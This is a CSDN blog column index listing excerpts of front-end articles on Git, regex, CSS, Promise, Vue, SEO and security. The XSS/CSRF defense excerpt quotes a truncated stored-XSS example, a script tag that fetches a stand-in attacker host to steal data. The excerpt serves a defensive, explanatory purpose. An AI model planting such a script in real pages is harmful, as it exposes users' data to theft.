![](https://img-blog.csdnimg.cn/2019091813595558.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
前端基础篇
文章平均质量分 71
前端性能篇
SailingCoder
因为热爱,所以专注
展开
-
什么是DDoS攻击?
分布式拒绝服务(DDoS)攻击是一种网络攻击手段,其目的是使目标服务器或网络资源无法为合法用户提供服务。攻击者通过控制大量的僵尸网络(由被黑客控制的感染计算机组成的网络)向目标发送大量的请求,耗尽目标的服务器带宽或资源,导致正常用户无法访问服务。在中国,依据相关法律法规,进行DDoS攻击是违法行为。原创 2024-08-16 09:43:25 · 257 阅读 · 0 评论 -
产品:网络不给力,前端页面就不能展示了吗?
引言:产品说:“网络不好,没有网络就不能展示页面了吗?” 前端开发人员****原创 2024-08-09 09:36:28 · 870 阅读 · 0 评论 -
【前端面试紧急指南】Git分支管理最佳实践,你不得不知的秘密!
Git Flow和GitHub Flow: 了解并选择适合你的分支管理模型。分支命名规范: 采用统一的命名规范让分支管理更清晰。最佳实践: 经常同步分支、小步提交、代码评审和删除已合并的分支。希望这篇文章对你有所帮助,读完后别忘了在评论区分享你的见解或提问,与大家一起讨论和学习!通过这些实践,相信你能在前端开发中更加游刃有余,面对面试也能更加自信。加油!原创 2024-07-30 16:58:46 · 609 阅读 · 0 评论 -
前端页面:用户交互持续时间跟踪(duration)user-interaction-tracker
是一个用于记录用户交互和时间的 JavaScript 库。它支持 Vue 2、Vue 3、React 以及其他 JavaScript 框架,提供了简单易用的 API 和插件机制。无论你是在开发 Vue 还是 React 应用,或者其他前端项目,这个库都可以轻松集成,帮助你更好地理解用户行为。目标:实现用户交互持续时间跟踪(duration),并且提升项目埋点效率。通过本文,我们了解了库,一款强大的用户交互跟踪工具。通过简单的配置和易用的 API,它不仅能够帮助我们精确记录用户行为,还能显著提升项目埋点效率。原创 2024-07-23 15:01:35 · 870 阅读 · 0 评论 -
关于正则表达式,小黄人有话要说!!!
本文将带你逐步学习正则表达式的基础知识和高级技巧,从基本的元字符到实用的正则表达式示例,让你轻松掌握这一重要的编程技能。无论你是初学者还是有一定经验的开发者,这篇文章都能帮助你更好地理解和应用正则表达式。在 JavaScript 中,你可以使用正则表达式的方法进行模式匹配和替换。:在字符串中查找匹配正则表达式的结果,并返回匹配结果的数组。:在字符串中搜索匹配正则表达式的结果,并返回匹配的起始位置。:在字符串中执行正则表达式匹配,返回匹配结果的数组。:在字符串中替换匹配正则表达式的内容。原创 2024-04-26 13:49:44 · 958 阅读 · 0 评论 -
通过Transform与Animation,来探索CSS中的动态视觉效果
在transform和animation出现之前,前端开发者通常需要编写大量的 JavaScript 代码来实现动态效果。然而,这两个 CSS 属性的引入极大地简化了丰富动效和过渡效果的实现,从而让用户界面更加引人入胜,交互体验更为流畅。本文将深入探讨transform和animation这两个属性,并分析它们在创造动态视觉效果中的应用。下面我们通过Demo示例的方式,来见证下。原创 2024-04-12 18:30:55 · 796 阅读 · 0 评论 -
2024,还没掌握 JS 发布订阅模式吗
面试中经常出现问到如何实现JS 发布者、订阅者模式。下面是ES5实现发布订阅模式。原创 2024-04-09 13:44:00 · 850 阅读 · 0 评论 -
经典面试题:两个有序数组合并为一个有序数组
经典面试题,将两个有序数组合并为一个有序数组。1、实现方式:(1)while循环遍历两个数组(不破坏原数组,生成新数组)。直到两个数组的计算的索引(i与j),其中任何一个大于自身数组的长度,终止循环。(2)正对比,错位对比。因为两个数据都是有序的。故,只需按照元素值对比大小,然后取最大的值即可;如果其中一个数组索引的元素值,小于另外一个数组索引的元素值,将最小的值放到newArr中;并叠加最小值的索引值(列i++);(3)元素值有3个对比(小于、大于、等于)。小于,取小于的元素值,叠加小原创 2021-08-09 18:27:37 · 5287 阅读 · 0 评论 -
js script中的defer和async
特性asyncdefer加载方式并行加载脚本并行加载脚本执行时机脚本下载完成后立即执行(可能会在文档解析完成前)文档解析完成后,DOMContentLoaded事件触发前执行执行顺序不能保证脚本按照在文档中出现的顺序执行保证脚本按照在文档中出现的顺序执行适用场景不依赖DOM,不依赖其它脚本的独立模块依赖DOM,或其它脚本,且不影响文档显示的脚本。原创 2024-03-04 09:47:48 · 791 阅读 · 0 评论 -
flex基础快速入门
Flex 是 Flexible Box 的缩写,意为"弹性布局"。任何一个容器都能使用flex布局。行内元素也可以。容器默认存在两根轴:水平的主轴(main axis)和垂直的交叉轴(cross axis)。原创 2024-03-01 15:23:53 · 817 阅读 · 0 评论 -
vue2与vue3的diff算法有什么区别
在 Vue 中,虚拟 DOM 是一种重要的概念,它通过将真实的 DOM 操作转化为对虚拟 DOM 的操作,从而提高应用的性能。Vue 框架在虚拟 DOM 的更新过程中采用了 Diff 算法,用于比较新旧虚拟节点树,找出需要更新的部分,并最小化 DOM 操作。Vue2 和 Vue3 在 Diff算法上有所不同,下面我们就说说这两者的具体区别。原创 2024-02-28 10:12:38 · 2785 阅读 · 0 评论 -
前端沙箱,构建安全的代码执行环境
前端沙箱是一种安全机制,它通过限制代码的执行权限和访问资源的能力,来确保代码在可控的环境中运行。这种机制可以防止恶意代码对宿主环境造成破坏,例如泄露敏感信息、发起恶意请求或者执行任意代码。原创 2024-02-27 17:56:28 · 1386 阅读 · 0 评论 -
GET 和 POST你不知道的另一面
GET请求是幂等的,即多次重复的请求会产生相同的结果。这使得GET适合用于读取资源,因为多次相同的GET请求不会对服务器产生副作用。而 POST 则不是,多次请求可能会产生不同的结果,适用对服务器产生副作用的操作,如提交表单等。GET请求可以被缓存,通常用于读取资源。浏览器和代理服务器可以缓存GET请求的响应,以提高性能和减少对服务器的压力,相反POST不会被缓存。原创 2024-02-26 14:08:11 · 757 阅读 · 0 评论 -
RxJS 核心原理-操作符(源码实现)
本文介绍了 RxJS 中操作符的核心原理和常见操作符的应用场景。通过应用操作符,我们可以构建复杂的数据处理流程,实现数据的转换、过滤、合并等操作。希望本文对你理解 RxJS 操作符的工作原理以及其在实际应用中的用法有所帮助。原创 2024-02-22 14:34:02 · 953 阅读 · 0 评论 -
硬核防范:XSS与CSRF攻击的对抗策略
XSS攻击是通过注入恶意脚本来滥用受害用户的浏览器,从而在用户端执行恶意代码。攻击者可能通过多种方式实施XSS攻击,下面是一些例子:1、存储型XSS:攻击者将恶意脚本存储在Web应用程序的数据库中,当用户访问包含该脚本的页面时,恶意脚本被加载和执行。-- 恶意评论中的XSS攻击 --> < script > fetch('https://攻击者.com/窃取信息?-- 恶意评论中的XSS攻击 --> < script > fetch('https://攻击者.com/窃取信息?fetch。原创 2024-02-21 17:25:51 · 1027 阅读 · 0 评论 -
前端笔试题(持续更新中~~)
大家好,这篇文章我只写代码,如果有什么疑问,我们再评论区讨论。原创 2023-12-19 09:51:39 · 449 阅读 · 0 评论 -
详细聊一聊,JavaScript中的异步编程Promise
Promise 是 JavaScript 中处理异步操作的工具。它提供了一种更清晰、更结构化的方式来编写异步代码,使得错误处理和异步流程控制变得更加简单。通过.then().catch()和静态方法,Promise能够帮助你轻松地处理复杂的异步场景,并保持代码的可读性和可维护性。原创 2024-02-18 10:14:29 · 473 阅读 · 0 评论 -
HTTP常见状态码(持续更新中~~)
4xx 【客户端请求错误】客户端错误,请求包含语法错误或无法完成请求。5xx 【服务器错误】服务器在处理请求的过程中发生了错误。1xx 【消息】服务器收到请求,需要请求者继续执行操作。2xx 【成功】请求已成功被服务器接收、理解、并接受。3xx 【重定向】客户端需要采取进一步的操作以完成请求。前端可以看到的几个常见状态码。原创 2024-02-19 14:25:34 · 675 阅读 · 0 评论 -
HTML优化SEO的实用技巧
本文详细介绍了如何利用HTML优化SEO,包括TDK的设置、使用Heading标签、利用Title属性和alt属性等实用技巧。通过这些优化手段,我们可以提高网站在搜索引擎中的排名,吸引更多潜在访问者。同时,本文也强调了内容质量、关键词策略和网站速度等因素对SEO的重要性。原创 2024-02-02 11:05:53 · 1129 阅读 · 0 评论 -
Serverless
Serverless 并不是一个前端的概念。Serverless 是把前端思维带入了后端运维。Serverless 和其他的前端技术不同,它不是为了解决前端的问题而出现。它是云计算的未来,是整个软件和应用架构的未来,它属于每一种类型的应用开发者。Serverless的内涵就是对全部底层资源和运维工作的封装,让开发者专注于业务逻辑。开发者优势:1、改变前后端接口定义规范;2、改变前后端联调方式,让前端参与服务器逻辑开发,甚至 Node Java 混和开发。原创 2024-01-18 10:05:48 · 779 阅读 · 0 评论 -
iOS长按时无法保存图片问题解决方案
在iOS系统中,当我们在网页上长按图片时,往往会发现无法保存图片。这是因为网页开发者为了防止图片被随意保存,通常会在CSS样式中设置-webkit-touch-callout属性为none。本文将介绍一种简单的解决方案,以恢复长按时保存图片的功能。原创 2024-01-16 18:03:53 · 1647 阅读 · 0 评论 -
前端性能优化-重绘与回流
在开发中,页面的性能优化很重要。性能优化的核心目标是提升用户体验,减少页面加载时间,提高页面的响应速度。而在前端性能优化的过程中,优化重绘(repaints)与回流(reflow)是非常关键的。本文将介绍重绘与回流、以及如何减少它们对性能的影响。。原创 2024-01-17 17:20:25 · 1440 阅读 · 0 评论 -
flex基础快速入门
Flex 是 Flexible Box 的缩写,意为"弹性布局"。任何一个容器都能使用flex布局。行内元素也可以。容器默认存在两根轴:水平的主轴(main axis)和垂直的交叉轴(cross axis)。原创 2023-09-21 15:00:11 · 64 阅读 · 0 评论 -
Vue2与Vue3常见面试题
在 Vue.js 3.0 中,使用 Proxy API 并不能监听到对象内部深层次的属性变化,因此它的处理方式是在 getter 中去递归响应式,这样的好处是真正访问到的内部属性才会变成响应式,简单的可以说是按需实现响应式,减少性能消耗。它的最大特点就是:高内聚,低耦合。在vue中引入了scoped这个概念,scoped的设计思想就是让当前组件的样式不会修改到其它地方的样式,使用了data-v-hash的方式来使css有了它对应模块的标识,这样写css的时候不需要加太多额外的选择器,方便很多。原创 2023-09-21 14:44:58 · 1241 阅读 · 0 评论